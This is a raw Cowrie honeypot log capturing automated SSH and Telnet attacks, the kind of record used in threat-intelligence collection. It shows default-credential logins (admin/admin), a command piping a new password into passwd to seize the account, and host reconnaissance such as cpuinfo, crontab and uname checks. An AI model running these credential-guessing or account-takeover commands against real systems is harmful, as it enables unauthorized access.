{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":23876,"dst_ip":"10.17.0.5","dst_port":22,"session":"61c8b799a80d","protocol":"ssh","message":"New connection: 87.251.64.176:23876 (10.17.0.5:22) [session: 61c8b799a80d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:46.380489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:46.385139Z","src_ip":"87.251.64.176","session":"61c8b799a80d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.180.10","src_port":35822,"dst_ip":"159.203.135.109","dst_port":22,"session":"425403aaeb21","protocol":"ssh","message":"New connection: 103.86.180.10:35822 (159.203.135.109:22) [session: 425403aaeb21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:46.453532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:46.458286Z","src_ip":"103.86.180.10","session":"425403aaeb21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:46.480713Z","src_ip":"87.251.64.176","session":"61c8b799a80d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:46.656843Z","src_ip":"103.86.180.10","session":"425403aaeb21","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:46.770230Z","src_ip":"87.251.64.176","session":"61c8b799a80d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:46.868813Z","session":"61c8b799a80d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:46.967013Z","src_ip":"87.251.64.176","session":"61c8b799a80d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:47.201653Z","src_ip":"87.251.64.176","session":"61c8b799a80d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:47.478335Z","src_ip":"103.86.180.10","session":"425403aaeb21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:48.677788Z","src_ip":"103.86.180.10","session":"425403aaeb21","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:48.918477Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:48.922054Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:49.122443Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.90.110.186","src_port":43128,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d60be8a2572","protocol":"ssh","message":"New connection: 203.90.110.186:43128 (10.17.0.5:22) [session: 1d60be8a2572]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:49.323061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:49.328236Z","src_ip":"203.90.110.186","session":"1d60be8a2572","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:49.559762Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"123admin\\nS43DzmE6pYok\\nS43DzmE6pYok\"|passwd|bash","message":"CMD: echo -e \"123admin\\nS43DzmE6pYok\\nS43DzmE6pYok\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:49.563354Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:49.566812Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:49.569983Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:49.577036Z","src_ip":"203.90.110.186","session":"1d60be8a2572","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":52888,"dst_ip":"159.203.135.109","dst_port":23,"session":"7df9a2ce497b","protocol":"telnet","message":"New connection: 147.124.211.111:52888 (159.203.135.109:23) [session: 7df9a2ce497b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:49.737874Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3a5f76e6656f1a22f02e89f3b6e441d28e33515a5f4f1bdd3973a3b3d17ae6e6","size":32,"shasum":"3a5f76e6656f1a22f02e89f3b6e441d28e33515a5f4f1bdd3973a3b3d17ae6e6","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3a5f76e6656f1a22f02e89f3b6e441d28e33515a5f4f1bdd3973a3b3d17ae6e6 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:49.769600Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:50.195643Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"123admin\\nS43DzmE6pYok\\nS43DzmE6pYok\\n\"|passwd","message":"CMD: echo \"123admin\\nS43DzmE6pYok\\nS43DzmE6pYok\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:50.199223Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/fc452ddaa92625385945fb89efe067b5375367cdb92337283aac64ceddd93027","size":25,"shasum":"fc452ddaa92625385945fb89efe067b5375367cdb92337283aac64ceddd93027","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/fc452ddaa92625385945fb89efe067b5375367cdb92337283aac64ceddd93027 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:50.398171Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp_user","password":"ftp_pass","message":"login attempt [ftp_user/ftp_pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:50.425791Z","src_ip":"203.90.110.186","session":"1d60be8a2572","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.46885442733765,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:50.701622Z","src_ip":"137.184.155.248","session":"e372c0d182eb","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:50.870988Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:50.874524Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:51.075412Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:51.512965Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:51.516562Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:51.641495Z","src_ip":"203.90.110.186","session":"1d60be8a2572","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:51.717191Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:52.147091Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:52.149674Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:52.152690Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:52.352813Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0014374256134,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:52.639167Z","src_ip":"182.253.54.171","session":"6237322362e7","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:52.790578Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:52.793853Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:52.992855Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:53.493184Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:53.496971Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:53.698262Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:54.282470Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:54.286021Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.54.171","src_port":11280,"dst_ip":"10.17.0.5","dst_port":23,"session":"e22238c0c6ae","protocol":"telnet","message":"New connection: 182.253.54.171:11280 (10.17.0.5:23) [session: e22238c0c6ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:54.294692Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:54.487401Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:54.929307Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:54.933068Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:55.133814Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:55.573957Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:55.577427Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:55.777692Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:56.218953Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:56.222921Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
